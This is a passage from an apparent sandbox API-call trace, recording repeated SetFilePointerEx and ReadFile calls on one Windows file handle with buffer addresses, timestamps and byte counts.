lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.861] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4c2, lpOverlapped=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.862] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ba, lpOverlapped=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.862] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.862] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4b2, lpOverlapped=0x0) returned 1 [0031.862] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4aa, lpOverlapped=0x0) returned 1 [0031.862] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4a2, lpOverlapped=0x0) returned 1 [0031.862] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x49a, lpOverlapped=0x0) returned 1 [0031.862] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x492, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x48a, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x482, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x47a, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x472, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x46a, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x462, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x45a, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x452, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x44a, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x442, lpOverlapped=0x0) returned 1 [0031.863] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x43a, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x432, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x42a, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x422, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x41a, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x412, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x40a, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x402, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3fa, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3f2, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ea, lpOverlapped=0x0) returned 1 [0031.864] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3e2, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3da, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3d2, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ca, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3c2, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ba, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3b2, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3aa, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3a2, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x39a, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x392, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x38a, lpOverlapped=0x0) returned 1 [0031.865] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x382, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x37a, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x372, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x36a, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x362, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x35a, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x352, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x34a, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x342, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x33a, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x332, lpOverlapped=0x0) returned 1 [0031.866] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x32a, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x322, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x31a, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x312, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x30a, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x302, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2fa, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2f2, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ea, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2e2, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2da, lpOverlapped=0x0) returned 1 [0031.867] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2d2, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ca, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2c2, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ba, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2b2, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2aa, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2a2, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x29a, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x292, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x28a, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x282, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x27a, lpOverlapped=0x0) returned 1 [0031.868] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x272, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x26a, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x262, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x25a, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x252, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x24a, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x242, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x23a, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x232, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x22a, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x222, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x21a, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x212, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x20a, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x202, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1fa, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1f2, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ea, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1e2, 